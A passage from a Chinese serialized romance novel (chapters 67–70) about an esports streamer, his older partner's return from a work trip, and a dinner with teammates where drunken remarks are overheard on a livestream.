他的科研项目终于有了些实质进展, 很关键, 甚至有可能影响到他们之间的关系。 但在落地之前, 一切都还不好说。他怕给了池燃希望又让他失望, 还是模棱两可地解释了,“工作上有些重要的事情, 要去处理一下。” “坏事吗?”池燃轻扶住门框。 潭知行笑了下,将u盘拔下来,“当然不是。” “工作而已,别担心。” 他将u盘揣回口袋里,对池燃道, “早点睡,我走了。” 池燃诧异,拦在他面前,“十点多了,你还要走?” “嗯。”潭知行说,“最近一段时间都会很忙。” 池燃慢吞吞地让开一步,“哦” “跨年的事”潭知行琢磨了下,“你试试找白骁,或者和我爸妈他们一起。” 潭知行轻轻揉了下他头发,“别自己一个人过。” 池燃点点头,“知道。” 看着潭知行关上门离开,池燃靠在门框上发了好一会儿呆。 潭知行最近比平时忙好多,但他也不知道具体在忙什么。看精神状态又很正常,应该不是什么坏事,没有在骗他。 池燃叹口气。 上午还信誓旦旦地跟白骁说不约他一起跨年呢,又打脸了。 潭知行出差的日子他也不是没过过,只是这回距离更远了些,再加上时差,池燃突然觉得生活里有关潭知行的痕迹少了很多很多,他有点不习惯。 他给潭知行发的消息,通常要熬过七八个小时以上才能收到回复。白天他在学校上课,晚上想多说几句话或者打个视频吧,潭知行那边是白天,又忙到碰不了手机。 视频账号刚火起来,他就彻彻底底地断更了一周。大家都在评论和私信问他是不是出了什么事,是不是分手了之类的。为了不再收到私信轰炸,池燃不得已置顶了自己的评论:出差了。 【呜呜呜呜那就好那就好,吓鼠我了】 【没有分手!太好了啊啊啊啊】 【森么时候才能恢复更新啊?】 【痛恨工作!痛恨出差!】 【还我甜甜cp】 【我茶饭不思,就想吃这一口糖,谁懂我】 池燃看了会儿评论,放下手机打开电脑。 再多的问题他也没办法回答了,毕竟他也不知道潭知行到底什么时候回来。 晚上八点到十一点是他固定直播的时间,一开播,照常有很多粉丝涌进直播间。 他跟大家打了个招呼,开始匹配游戏。 等待的时间里,他习惯性去看弹幕。 【宝宝怎么不开心?】 【情绪不高!说哈咯的时候没有语气上扬!】 【怎么了宝宝,哭哭】 【Fire今天能不能教我怎么瞬狙那么准?】 【跨年准备怎么过呀?】 池燃把耳麦线绕在手指上转了一圈,随口答,“跨年和朋友出去玩。” 【是不是因为男朋友不在家所以不高兴呀】 【?什么男朋友?】 【上面的不要造谣】 【Fire没承认就不要乱说好吗?只是声音有点像,而已!】 【指路账号小潭勇敢飞,自由心证哈】 池燃看到弹幕略微一愣。 他还以为大家早都把他等同于小潭勇敢飞了,他就没再在意过这件事,怎么还会吵起来的??? 他犹豫了下,解释道,“那个账号是我,但是我们不是——” 就在这时,他瞥到弹幕上忽然冒出来很短的一行字,很明显。 潭知行:【看手机】 池燃:? 他几乎是一秒从椅子上弹起来去摸手机。 果然,潭知行给他发了好几条消息,但是直播前他把手机静音了。 这会儿潭知行那边是上午,他以为潭知行肯定会在忙,怎么有时间回他的? 池燃摘下耳机,没顾得上游戏已经开始了,直接跑出房间给潭知行打电话。 【喂喂喂,你去哪儿!】 【祖宗!开局了!跳伞了!】 【完蛋,要掉分了】 【Fire第一次在直播间展示落地成盒】 “潭知行?”池燃关上门,靠在一旁的墙上。 “怎么不打了?”潭知行很轻地笑了声,“弹幕都在叫你回去。” “一局没事。”池燃说,“你怎么有时间看我直播?” “给你发消息没回,想着你应该是在直播,就去看了眼。”潭知行说。 池燃哦了声,问,“你在干嘛?” 他很珍惜这几分钟,想多和潭知行说几句话。 “在实验室,等设备重启,出来透口气。” “你刚才想说什么?”潭知行问。 池燃不明所以地啊了一声。 潭知行提醒他,“我们不是,什么?” 池燃:“” 他想说他们不是情侣来着。 潭知行语气轻快,听起来心情很好,“可不可以不说后半句了?” 池燃:“嗯?” 潭知行:“我在努力。” 坐回电脑前,池燃仍心跳很快。 游戏里他已经掉进了海里,还好,没人发现他,没把他打死,就这么一直飘着。 【终于回来了】 【牛逼,离线两分钟。】 【宝宝你不要话说一半啊啊啊啊,你说完!!!】 【刚才发评论的那个号是不是就是视频里的大叔啊?】 【已经检查过了,就是一个三无小号,很难不怀疑是来捣乱的】 【我感觉我之前见过这个id啊】 【快捡把枪,不然这局真要掉分了】 池燃戴回耳机,操作人物往岸边游,但心还没收回来。 潭知行说的在努力是什么意思?是他想的那样吗?- 跨年当天,学校给高三生提早两个小时放了学。 白骁好不容易鼓起勇气主动约了一次季明野,虽然当时没想到还要带上池燃这个大电灯泡,但看在他潭哥出差,季明野也喜欢跟池燃待在一起的份上,他决定善待池燃一晚上。 八点半,他们打车到了火锅店。白骁提前订好了位子,还规划好了一会儿的路线,吃完饭顺着商业街往前逛,一直走到江边,零点的时候刚好能看到对岸的烟花。 白骁和季明野研究吃什么的时候,池燃一直捧着个手机玩,看都没看他们一眼。 白骁忍不住伸长胳膊敲敲他那面的桌子,“喂,你看看你有什么想吃的?别光看手机。” 池燃视线都不挪一下,“我都行,你们点吧。” 他忙着给潭知行发消息呢。 白骁:“……” 虽然不知道潭知行什么时候能回他,能不能赶得上在跨年零点跟他说一句新年快乐,但他还是有好多好多话要跟潭知行说。 池燃:「你真的不回来吗?」 池燃:「我和白骁他们出来吃火锅了,一会儿去看烟花。」 池燃:「给你录视频。」 池燃:「你跨年打算怎么过?过吗?」 池燃:「(记得跟我说新年快乐」 季明野小声跟白骁说,“池燃好像不爱吃羊肉,我们多点几份牛肉吧。” 整顿饭吃下来,池燃的心思也一直都在手机上,几乎是隔个一两分钟就要刷新下消息,看潭知行回没回他。 说来也奇怪,这个时间潭知行应该已经在工作了,如果忙到连他昨天的消息都没时间回,那至少也会跟他说一声,可是快24小时过去了,潭知行就像消失了一样,什么动静都没有。 池燃反复琢磨着种种可能,突然一瞬间福至心灵。 潭知行是不是偷偷回来了?! 为了给他个惊喜,所以故意不回他?或者这会儿正在飞机上? 想到这儿,池燃眼睛一点一点亮了。 季明野给他夹了一筷子涮好的牛肉,他很高兴地应了一声,“谢谢同桌!” 没注意到白骁幽怨的眼神。 季明野很公平公正地给白骁也夹了一份,“……你也多吃点。” 白骁:“……” 原谅全世界。 从火锅店里出来,已经十点半多。商业街上,为了看跨年烟花的人渐渐多了起来。人头攒动,挤得人走路都走不稳。 白骁在前面开路,池燃一直低头看手机,季明野怕他摔着,干脆挎着他一起走。 沿路逛了几家店,走到江边时,临近十一点半,一切都刚刚好。白骁抢先占住个极佳的视角,三个人围在栏杆边站住脚。 眼看着时间一分一秒过去,池燃有些落寞地放下手机。都这个时间了,潭知行要回来的话应该早联系他了。 看来是不可能了。 “你冷不冷啊?”白骁转头看向季明野,发现他围巾都没系好,下意识伸手帮他往上拽了拽。 等反应过来时,他的手僵在季明野脸旁,似乎不知道下一步该怎么动才好。 池燃朝他们看过去一眼,随即道,“我去买杯奶茶,你俩在这儿吧。” 白骁回身叫了他一声,“哎,快放烟花了,你跑哪儿去?” 池燃朝他摆摆手,很快挤进人群里看不到影了。 外层的人明显比栏杆旁要少些,连空气也凉薄。池燃往上扯了扯围巾,挡住半张脸取暖,站到棵大树下。 这里的视角也不算太差,他就不凑上去给白骁和季明野当电灯泡了。 只是,这次跨年,又是他一个人了。 回想起前几次跨年,有时候是和同学一起在外面吃饭喝酒,有时候是自己一个人躲在卧室里倒数。好像,他觉得重要的,在乎的人,从来不会在他身边。 池燃低下头,正落寞着,外衣口袋里忽然传来一阵震动。 几乎是一秒钟,池燃将手机拿出来,将电话接起。 真的是潭知行。 他声音顿时变得兴奋起来,“潭知行!” 对面低低嗯了一声,听起来有些不对劲。 池燃立刻狐疑地问,“你在哪儿?在干嘛?为什么不给我打视频?” “嗯……抱歉,太忙了。” “你是不是回来了?”池燃握着手机,紧紧贴在耳边,四周人群嘈杂,让他觉得潭知行的声音很微弱。 “你到家了吗?怎么刚才不回我消息,是不是想给我个惊喜?” “我……没回去。”潭知行咳了两声。 池燃微微皱眉。 “快到零点了吧?”潭知行说,“池燃,新年快乐。” 零点烟花炸起的前一秒,有个声音钻进了池燃耳朵里。 “潭老师!药给你买回来了!”—— 作者有话说:小池:[星星眼](开心)[托腮](好吧)[问号](什么?) 潭老师:[可怜][摸头][摸头] 第68章 人群盛大的欢呼声几乎盖过手机里的声音, 池燃没了心思去看烟花,心脏猛然揪在一起。 “潭知行,你怎么了?” 四周的嘈杂让他听不清潭知行的声音, 他握着手机往人流相反的方向跑, “你等我一下!” 池燃冲进沿街的商场,周遭才安静下来。 他紧张地问,“你怎么了?生病了吗?买什么药?” 对面沉默了几秒才开口, “没有,你听错了。” “刚才是不是何旭?”池燃作为电竞选手, 耳朵一向很好使,“他不是跟你去出差了吗?你把电话给他。” “池燃,我没——” “你把电话给他!”池燃急得语气都加重几分。 片刻后, 接电话的人换了。 何旭“喂”了一声。 “你给他买的什么药?”池燃立刻问,“他病得严重吗?” 何旭看向潭知行的目光,话语间一时变得犹豫。 “我,我给他买的……感冒药。” 他继续看着潭知行的眼色说话,“潭老师他, 有点受凉, 没, 没什么大事。” “真的?”池燃问。 何旭顿了下, “……真的。” 他总不能说,潭老师现在高烧40度还从床上爬起来到实验室坚守岗位了。 “好了, 手机给我吧。”潭知行朝他伸手,“你去准备一下一会儿要用的试剂。” “嗯!我这就去!”何旭应声,立刻把这“烫手山芋”还给潭知行,躲回实验室里。 潭知行缓了口气,尽量让自己的声音听起来正常。 “信了吗?”他问池燃。 对面沉默了两秒, 显然还在半信半疑。 “我真没事。”潭知行拿着药盒的手碰了下自己额头的温度,又垂下来,有些无力,“小感冒,明天就好了。” “……行吧。”池燃情绪不高,但还是应了下来。 现在就算潭知行骗他,他也没办法。 “我还没来得及看你发的消息。”潭知行低声,“你现在在哪儿?和白骁他们一起吗?” 池燃嗯了一声,“在江边,看烟花呢。” “好看吗?”潭知行问。 “……挺好看的。” 池燃又问,“你呢?明天怎么过?” “工作。”潭知行回答了很简短的两个字。 “一天也不休息吗?”池燃微微皱眉,“大家都陪着你加班?” “这个项目很重要,所以要抢时间。”潭知行垂下眼,又顿了顿,“而且,我还有一点私心。” “什么?” “不想让你等太久。” 池燃呼吸短暂地止住。 但很快,他嘴硬地掩盖过去,“我不会觉得很久啊,你出差我都习惯了,而且有白骁和季明野陪我,一点都不无聊。” 他说完,又特意补上一句,“你再晚几天回来也没关系。” 潭知行轻声笑了笑,嗯了一声。 虽然,他和池燃说的,不是一个意思。 池燃已经给了他太多耐心和时间,现在,他不想让池燃再等下去了。 “……你该去工作了吧?”池燃有些不舍。 “嗯。” “把药吃了再去。” “好。” 池燃犹豫了下,“虽然你那边还没到零点,但你忙起来又不知道什么时候能回我了,我还是先说了吧。” 他嘴角扬起一点笑意,声音变得轻快,“潭知行,新年快乐。我等你回来。”- 日子过得很快,两周后,一模的成绩出来了。 各科课代表把成绩带回来贴到黑板旁,回回引得一窝人扑上去看成绩。 池燃拄着下巴往窗外看,显然对成绩单没什么兴趣。 潭知行出差都快一个月了,还没说什么时候能回来,也不知道他独居的日子还要过多久。 “凉了。”白骁看完成绩,一脸忧郁地走回来。 池燃抬眼看他,问了句,“怎么了?” “语文没及格你敢信?”白骁坐回位子上,一下趴了下来,像被霜打的茄子。 池燃侧过身来和他说话,“你最近不是都背古诗和文言文了吗?怎么还没及格?” 白骁晃晃脑袋,有气无力道,“作文跑题了吧。” 他深深叹口气,简直不敢想以自己的写作水平,要是在高考考场上把作文写跑题了该怎么办。 “这次作文题出的是有点偏。”季明野回过身来,安慰他,“跑题也正常,一次而已,别灰心。” “对啊。”池燃跟着说,“就算没及格,也不代表你这段时间的努力没用。” 白骁看看季明野,又看看池燃,心里一阵感动。 他一握拳,坐直了身子,“好!” 高三晚上六点半下课,七点半再上晚自习。池燃通常都在学校和白骁季明野一起吃完饭再回家,这学期开始的时候,潭知行就给他跟班主任请过假,高三一整年的晚自习他都可以不参加。 晚上七点多,不是任何一个年级学生放学的时候,门口自然也没有来接孩子的家长。 池燃背着书包往校门口走,早已习惯这会儿的安静。 脸颊上忽然多了一点冰凉,池燃愣了愣,仰头看去。 借着路灯的光亮,他看清细小的雪花正飘落下来。 是初雪。 池燃心下一动,立即拿出手机来,想录视频给潭知行看。 “潭知行——” 他的镜头扫过不远处,昏黄路灯下,有个熟悉的人影一闪而过。 池燃瞬间僵住,定了定神,确认不是自己眼花。 那是 他呼吸一瞬加快。 “潭知行!” 下一秒,他放下手机,飞奔过去。 镜头里的人,梦里的人,都在他眼中重合。 跑出校门,池燃几乎是扑进潭知行怀里,抱住了他。 而潭知行稳稳接住了他。 他听见潭知行在自己耳边笑,“这么开心?” “嗯!”池燃松开他,眼睛盯在潭知行脸上。 “你什么时候回来的?怎么不跟我说?” “昨天晚上才订的票,刚从机场回来。”潭知行说,“想着差不多能赶上你放学,就过来了。” 池燃神色里的喜悦和兴奋半点掩盖不住,这些天他真的太想潭知行了。 “还走吗?”他问,“都忙完了?” “不走了。”潭知行伸手粘掉他脸上的雪花,“在那边的工作都处理好了,回来做收尾。” 池燃的视线从潭知行的眼睛落向他唇边,冒出了他现在就想亲潭知行一口的念头。 潭知行注意到他的视线,似乎是有所察觉,轻轻笑了声,退开半步,去牵他的手,“走吧,回家了。” 八点钟,池燃准时上线直播。 粉丝涌进直播间,一下就发现了他和平时不太一样。 【啊啊啊啊宝宝今天怎么这么有精神】 【看起来好开心啊fire】 【在高兴什么,跟我们说说!】 【你小子别偷笑了,太明显了】 池燃没解释,笑着点开游戏,“没什么没什么,我开始了。” 潭知行洗了澡,将行李收拾好,去厨房打算做一点夜宵。他点开池燃的直播,将手机架在一旁当背景音,开始洗菜。 “我最近没和于胜一起打游戏吗?”池燃的声音从手机里传过来,“上周不是才打了?” “我俩有cp?!” “我俩为什么会有cp???” 潭知行关上水龙头,沉默了两秒。 去问问池燃吃不吃夜宵好了。 他走去电竞房,轻轻敲了两下门。 “进来。”池燃歪了歪头,朝门口看去。 “怎么了?”他问潭知行。 他直播的时候潭知行一般很少来找他。 “吃夜宵吗?”潭知行问,“我煮面。” “吃。”池燃立刻点头,又说,“再给我来个烤肠。” “好。” 潭知行关上门出去,池燃戴回耳机,再一看弹幕,怎么风向都变了? 刚才不还在说于胜的事吗? 【我靠我靠我靠,谁啊谁啊谁啊啊啊】 【这个声音听上去好熟悉】 【我恨这个摄像头不会自己动】 【好强的家属感,谁来懂一下】 【宝宝,怎么有男人在你家,哭哭】 【到底是谁还在嗑邪门cp啊!都给我来嗑正宫!!!】 【别多想,说不定是Fire的爸爸】 【此爸爸非彼爸爸】 【能不能把这位请来露个脸】 【光听声音就很配了,我浅嗑一下】 池燃看着弹幕,脸上一阵红一阵白的。他不知道该怎么解释自己现在和潭知行的关系,干脆把这段弹幕忽视过去了。 十一点下播,池燃关掉电脑,跑出房间。 他本来不太饿,但是闻见厨房飘来的香气,肚子还是咕噜噜地叫。 潭知行把面端过来,他却先用筷子戳起烤肠咬了口。 “累不累?”潭知行问他。 “还行啊。”池燃活动了下脖子,边吃边说,“要习惯了。” 潭知行刚夹起一筷子面,想了想,又放下。 有些事,他还是想先跟池燃确认一下。 “你这周末有时间吗?”他问池燃。 “周末?”池燃想了下说,“周六要回队里训练,周日” 想到什么,池燃忽然倒吸一口气,瞪大眼睛,“周日我约了人来家里玩!” 约人的时候他根本没想到潭知行这周会回来,这下好了。 “约了谁?”潭知行问。 “队里的人。”池燃说,“于胜他们。” 潭知行:“……” 他莫名有一种自己再不回来,家就要被偷了的感觉。 池燃为难起来,“我上周就跟他们说好了。” 他琢磨了下,“要不,我跟他们说不在家里了,请他们出去?” “不用。”潭知行说。 池燃疑惑,“那你” “我在家,和你们一起。”潭知行说。 池燃:“……” “怎么?不行吗?” “没。”池燃心虚地摸摸后颈,“我怕他们把你气死。” 他这些朋友可比白骁和季明野他们不听话多了。 潭知行笑了下,“不会。” “你正常叫他们来家里吧。” 池燃哦了声。 “你刚才问我周末有没有时间干嘛?” “我下周末没事。” “嗯。”潭知行顿了顿,“我想,和你” 他措了措辞,没把约会两个字说出口。 “出去玩。”虽然这样说幼稚了些。 池燃眼睛一亮,问,“去哪儿?” “先保密。” 池燃眯了眯眼睛,又问,“和白骁或者叔叔阿姨他们一起吗?” “不。”潭知行笑着说,“就我们两个。”—— 作者有话说:潭老师(自以为高情商版) :[眼镜]两个人出去玩=约会 小池:[垂耳兔头]不好意思听不懂 第69章 “今天就播到这儿吧, 我们要去Fire家玩,等下到了再——”林轩笑嘻嘻地和他直播间里的粉丝说拜拜,耳麦一把被王沐泽拽了下来, “快走了, 池燃都定好车了。” “哎来了来了!”林轩匆匆忙忙起身,招呼走廊那头的王闲,“教练!你帮我关下直播啊!” “等等我!”林轩小跑跟上王沐泽, 问,“池燃和于胜呢?” “在楼下, 就等你了。”王沐泽说。 林轩挠挠头,不好意思地笑,“我这不是想多补一会儿直播时长吗。” 王沐泽无语地看他一眼, “早跟你说了前天别喝那么多。” 林轩大大咧咧地摆手,“哎都一样,一会儿到小池燃家里再接着播。” 池燃站在大门口,瞧见他们出来,挥了挥手, 又指指身旁的车, 示意他们快点。 林轩和王沐泽小跑着过来, 和池燃一起钻进后座。 “哎我真是太期待了。”林轩靠进座椅里, 右手一把揽过池燃,“好想看看小池燃对象长什么样。” 他说着, 还勾了下池燃的下巴,“嗯?” 池燃躲了他一下,“哎,我跟你们说正经的。” 他提醒几个人,“你们一会儿别太放肆了, 都收着点。” “放心。”王沐泽说着,从口袋里掏出打火机,点了烟。 池燃:“……”- 听到门解锁的声音,潭知行摘下围裙,从厨房走出来,迎到玄关,脸上带着柔和的笑。 “你们好。” 林轩最先笑着跟他打招呼,“你好啊弟妹。” 王沐泽:“嫂子好。” 于胜面无表情地跟他点点头。 池燃:“…………” 潭知行很明显地僵了片刻,随后是一副哭笑不得的表情,“你们想怎么叫都行,进来吧。” 他又问池燃,“不是说四个人吗?还有一个呢?” 林轩抢答,“哦,我们队长今天临时有活动,来不了。” 他把王沐泽手里的袋子抢过来,递给潭知行,“这是他让我们给你带的酒。” 说完,他转头去拽池燃,“小池,快带我去看看你的电竞房!” 池燃和潭知行对视一眼。 潭知行:“你带他们先玩,我还有两个菜要做。” 他又礼貌地对大家道,“你们自便,过半个小时就吃饭,有什么需要的都找池燃。” 王沐泽:“谢谢嫂子。” 池燃:“……” “我靠!”推开电竞房的门,林轩都惊了,“这么酷!” 他转了一圈,感叹道,“这不比咱队里好一百倍?怪不得你不总来跟我们训练。” 这些日子,池燃又自己给电竞房加了些喜欢的装饰,放了几个手办还有篮球,又加了圈灯带。 林轩说着就拿出手机拍照,“这必须得给粉丝看看。” 王沐泽问池燃,“燃哥,我能用你电脑打会儿游戏吗?” 林轩白了他一眼,“喂,你训练还没完了?” “都行,你们看着用。”池燃说,“我这儿还有switch,也可以玩会儿其他的。” 于胜一直没说话,在他们身后的沙发上坐下。他环顾起四周,最后在墙壁上发现个和装饰氛围格格不入的东西,是个贝壳。 “那是什么?”他指过去,问池燃。 池燃顺着他指的方向看过去,哦了一声,“是我去海边玩的时候捡的贝壳,做成项链了。” “我能看看吗?”于胜问。 “可以啊。”池燃走过去,将贝壳从墙上摘了下来,递给于胜。 林轩和王沐泽争执到底玩什么的时候,于胜突然问了句,“这个贝壳怎么裂了?” “本来就是裂的。”池燃解释道,“潭知行粘起来了。” 林轩一听,嘻嘻哈哈地怼了于胜一把,“你不懂了吧,这是爱情纪念品。” “燃哥,我用你电脑玩会儿跑跑卡丁车。”王沐泽回头叫了池燃一声。 林轩:“我草,你有病吧。” “行行行你玩,我开直播看你玩。”他拿出手机,“顺便给他们全方位展示下Fire的炫酷电竞房。” 电脑被占了,池燃想起上次和潭知行一起玩卡关的双人成行,突然眼睛一亮。他问于胜,“你帮我过个游戏?” 半个多小时后,潭知行将准备好的六个菜都端上桌,摆好碗筷,走去客厅叫人。 看见于胜和池燃挨在沙发上打游戏时,他神色微妙的一变,“池燃,可以吃饭了。” “马上马上。”池燃瞟了他一眼又盯回游戏上,“这关马上就过了。” 潭知行认出来这是池燃之前和他一起玩的双人游戏,进度还是他们上次没过的那关,心里莫名不是滋味。 几秒后,池燃扔下手柄从沙发上跳起来,“耶斯!终于过了!” “我去叫他们吃饭!”池燃趿着拖鞋往屋里走,“林哥!沐泽!” 于胜放下手柄,和潭知行对视片刻,不知道该说什么,还是潭知行先开口,“过来坐吧。” “哇,这么多好吃的,还有小龙虾。”林轩看见一桌子菜直流口水,随手把手机扔到沙发上,直播都忘了关。 弹幕一片。 【???】 【把我们放哪了?】 【不是,光给听不给吃啊!】 【不是在Fire家吗?】 【直播聚餐(语音版)】 【TJG你们几个谁会做饭?】 【等等等,Fire家里是不是有那谁?】 “很高兴你们今天能来做客,我厨艺还可以,希望你们喜欢,谢谢你们这段时间对池燃的照顾。” 【哇塞,果然】 【这是什么!!!家属发言!!!】 【卧槽?在这儿还能吃上瓜】 【轩啊,求你回来把直播关了吧……】 【吃什么好吃的呢给我也吃吃】 【Fire的二十四孝好男友】 “不客气弟妹!”林轩最先跟潭知行碰杯,豪爽得很,“其实我们都很喜欢小池燃的,长得又帅,性格又好,能力还强,我们都希望他早点正式入队呢。” “是啊嫂子,我们和燃哥关系都可好了。” 【笑死我了,这是什么称呼】 【是不是May那个傻子叫的嫂子】 【这都什么辈分?乱成一锅粥了】 【呜呜呜不要啊,等Fire入队,队长是不是就要退了】 【平常心吧,队长那个情况早晚要退役的】 “嗯?不是酒啊?”林轩喝了一口杯里的,才发现是小麦饮料。 潭知行:“我们平时不——” “啊没事,叫外卖!”林轩又使唤王沐泽,“你先把队长带的红酒拿来。” 潭知行:“……” 池燃向潭知行小幅度耸耸肩。 他早说什么来着。 林轩外卖叫来两箱啤的,和王沐泽边吃边喝,潭知行和于胜都不喝,池燃则是被潭知行管着不让喝。 但酒过三巡后,林轩喝醉了开始耍酒疯,说什么也不听,硬是逼着潭知行和于胜陪他喝。 王沐泽已经趴在桌子上睡了,林轩掰着他的脸看了看,一副恨铁不成钢的样子,“哎这小子就是不行,每回跟他喝酒都这样,还好今天有你们。” 他跟潭知行碰杯,“来弟妹,喝!” 潭知行:“……” 他不得已仰头又灌下一口。 作为全场滴酒未沾的人,池燃边吃小龙虾边饶有兴趣地盯着潭知行看。 平时潭知行要么不喝要么就是跟韩闻烁喝,难得遇到一个像林轩这么不讲道理又能喝的人,逼酒逼得潭知行没办法。 他之前就一直想看潭知行喝醉了到底什么样,今天终于被他逮到机会了。 “诶?怎么就剩两瓶了?”林轩往空了的箱子里一看,顿时皱眉,“王沐泽,你再叫两箱来。” “王沐泽?” 他回过头来,“哦,睡了。” “我手机呢?”他在身上摸了摸,“手机呢?” “没事没事。”池燃立刻说,“我来点。” “池燃。”潭知行一下拉住他的手,摇了摇头。 潭知行这会儿已经面色泛红,但显然还保有理智。 但都到这个地步了,池燃自然不肯善罢甘休。 他不理潭知行,问林轩,“要两箱够吗?” 林轩打了个嗝,“行!” 池燃在手机点了几下,“订好了,一会儿就送到。” 潭知行无力地扶住额头。 片刻,他起身,对池燃道,“我去洗把脸。” 池燃看着他快要站不稳的样子,忍着笑嗯了一声。 潭知行撩了几把凉水泼在脸上,撑着台面对着镜子缓了会儿,可还是缓解不掉脑子里的麻木和胸腔里的热。 他很少会喝这么多,才一时有些不适应。 更没想到会是被池燃的朋友灌醉的,现在的小孩有些超乎他想象。 从洗手间出来,屋子里少了个人。 “池燃呢?”他走回桌边,问于胜。 “下楼了,外卖员说找不到路,他去接一下。” 再一转头,见林轩趴在桌子上睡了,潭知行松下一口气,靠到椅背上。 于胜盯着他,半晌开口,“你……和池燃在一起多久了?” 潭知行意外地朝于胜看过去,似乎是没想到他会主动提这个。 潭知行不答反问,“你喜欢他?” 于胜一阵沉默。 “我看得出来。”潭知行说,“你的眼睛总在他身上。” “……他很喜欢你。”于胜皱着眉开口。 “青训的时候,他说你们在吵架,那个时候他总不开心。” “他求我们配合他演戏,说要气你,因为他觉得你不够在乎他。” 潭知行静静地看着于胜,听他说完。想到那会儿正是他们闹别扭闹得最严重的时候,他的心由不得沉下来。 “还有那天在KTV,也是他找我演戏,其实他根本没喝醉。” “我知道。”潭知行淡淡道。 “他说后来你们和好了。”于胜认真盯着潭知行问,“你现在在乎他了吗?” “……非常在乎。”潭知行说—— 作者有话说:潭老师:[愤怒]我的!我的! 小池:[吃瓜]专挑我不在的时候说,下次当面说[三花猫头] 第70章 “我回来了!”池燃推开门, 将两箱啤酒从电梯口搬进家门,别说,还真有点沉。 他再一抬头, 愣了下。 怎么屋里这么安静? “哎?”他意外道, “林轩睡了啊。” “嗯。”潭知行意味深长地看了于胜一眼,起身,对池燃道, “今天就到这儿吧,我们不喝了。” “哦”池燃突然有点失落。 他还没看到潭知行喝醉呢, 怎么就不喝了。 “他们几个今晚走不了了,就睡在咱们家吧。”潭知行说,“把他们两个搬进客房睡。” 他转头看向于胜, “你也——” “我回去。”于胜打断他。 “” 池燃搞不清状况,“啊?这么晚了,你就留下住吧,家里能住下的。” “我没醉。”于胜拎起椅背上的衣服,避开池燃的视线, “明天见。” 池燃:“哦哦, 好吧。” 等于胜走了, 家里还剩下俩个醉鬼。池燃挽起袖子, 问潭知行,“先搬谁?林轩瘦——” 池燃话音刚落, 正想上前扶林轩起来,谁知道本来看起来睡的很香的人突然一个猛子坐起来了。 “喝!”林轩瞪起眼睛,“怎么不喝了!” 他拍拍桌子,“今天你们一个都不许走!” 池燃: 吓他一跳。 林轩扯住池燃的衣领,问, “酒买回来没?” “买回来了买回来了。”池燃揪着他的手让他松开,“我去给你拿。” 潭知行:“” 他捏了捏眉心,又坐了回来。 “来!”林轩起开手边最后一瓶酒,推给潭知行,“弟妹!我们说到哪来着?” “哦哦哦,你和小池燃是怎么认识的?” “” 池燃坐在桌边默默吃完了三斤小龙虾,见他们没有要结束的意思,又躺沙发上看了个电影,最后看到他意识都模糊了,堪堪要睡着,又一个激灵醒过来。 屋子里安静下来了。 池燃一个翻身起来,朝餐桌边看过去。居然没有一个好好坐着的人。 林轩拉了两把椅子合上,直接躺在了椅子上,也不知道硌得慌。 而潭知行趴在桌子上了。 池燃心里顿时闪过一丝窃喜。 他从沙发上扯了个毯子,过去给林轩盖上。又瞧了瞧他躺着的姿势,大概是摔不下去,才放心下来,转头去看潭知行。 潭知行侧趴在桌子上,枕着一只手臂,看上去是真的喝醉睡着了。 池燃拉开椅子在他身旁坐下,歪着头盯着潭知行看了好一会儿。眼镜被压歪了,有一半已经脱离鼻梁,一直被镜框挡住的睫毛其实很长,就算闭上眼睛弧度也很好看。 这样的潭知行,没了平日里的成熟感,没了令人难以接近的那种防备感,安安静静的,让人很想亲一口。 “喂。”池燃小小声叫他,伸手碰了碰他脸颊,“潭知行,真喝醉了?” 似乎是觉得他的碰触有些痒,潭知行轻轻皱了皱眉。 “潭知行?”池燃又叫了他两声,“潭知行。” 潭知行没有反应。 池燃收回手。 看来是真醉了。 他原本还期待潭知行喝醉了会不会发酒疯什么的,他好趁此机会录下来嘲笑潭知行一辈子,结果没想到潭知行醉了就这么安静。 但是也不能就睡在这儿吧。 池燃想了想,决定把潭知行搬回卧室。 他扯起潭知行一只胳膊,搭在自己肩上,“潭知行,你自己稍微撑着点,不然我拖不动你。” 潭知行似乎是应了他一声。 潭知行整个人大半的重量都压在他身上,比那两箱酒沉多了。 拖着他往前走了两步,池燃就骂了一声,“靠,这么重?看不出来啊,看来健身是挺有效果。” “你去的哪家健身房,下次我要跟你一起去。” “哎哎哎,你撑住了。”池燃使劲推着潭知行,但潭知行压在他肩上的力量快把他拽倒了。 “再走——”池燃一个重心不稳,扯着潭知行扑在了沙发上。 “靠。”池燃仰躺着望天,心想还好是倒在沙发上了,不然他都要有生命危险。 正想着缓口气再扶潭知行起来回卧室,趴在他身上的人却忽然有了动静。 潭知行闷哼了声,撑起上半身,一只手扶住脑袋。 池燃呆了呆,连忙撑着手臂去看他,“你,你磕到头了?” 怪不得他刚刚听到什么东西响了声,原来是潭知行的脑袋。 潭知行被这么一撞,似乎是清醒了些。 他迷迷糊糊看清眼前的人,“池燃” 但他体力不支,很快,又失去力气倒了下来,将池燃侧压在身下。原本宽敞的沙发在这时也显得拥挤。 “喂你——” 池燃动了动身子,却发现自己被潭知行双臂环在了怀里。 他背对着潭知行,看不到他脸上的神情,有些着急,“潭知行你撞没撞坏脑袋啊?要不要去医院看看?” “池燃”潭知行的声音随着呼吸钻进他耳朵里,浅浅的,打了个转,弄得他有点痒。 “为什么,和别人打游戏” 池燃微微一愣,“你说什——” 他被潭知行抱得更紧了些,打断了他的话。 “为什么”潭知行小声呢喃着问。 池燃不明白,“我跟人打游戏不是很正常吗?我就是干这个的啊。” “不是说好,只能两个人玩吗” 池燃一下懂潭知行在说什么了。 他迅速地得到一个结果——潭知行,在吃醋啊? 因为看到他和于胜玩双人成行? 池燃一瞬间有点想笑。 “你在吃醋啊?” “我不和于胜玩,那关你也过不去啊。”池燃忍着笑说,“过了咱俩才能接着玩啊。” 他不知道潭知行听没听懂他的话,只是搂着他闷闷地应了一声。 “我在乎”潭知行低声,“池燃。” 池燃觉得身下有什么东西在硌着他,本想推开潭知行坐起来看看,动作却又一下顿住,问,“什么?” “你在乎什么?” 潭知行呢喃出一个字,“你。” 池燃猛地心跳,又听见潭知行说,“跟我约会吧。” 【我□□□□□□操,这是我能听的吗???】 【刚才乱哄哄的一直听不清,这会儿怎么了?】 【我艹啊啊啊啊啊,林轩你他吗把直播关上!!!】 【轩总估计已经和周公约会去了吧】 【有种听墙根的感觉】 【这手机是不是就放他们旁边了,怎么听得这么清楚】 【录屏了吧朋友们,珍藏啊!】 【不是,Fire对象看起来像年上啊,怎么还跟小朋友吃醋呢】 【情趣你不懂】 【听小情侣床话就是甜啊】 池燃僵了几秒,想起前几天潭知行跟他说的两个人出去玩,突然笑出了声。 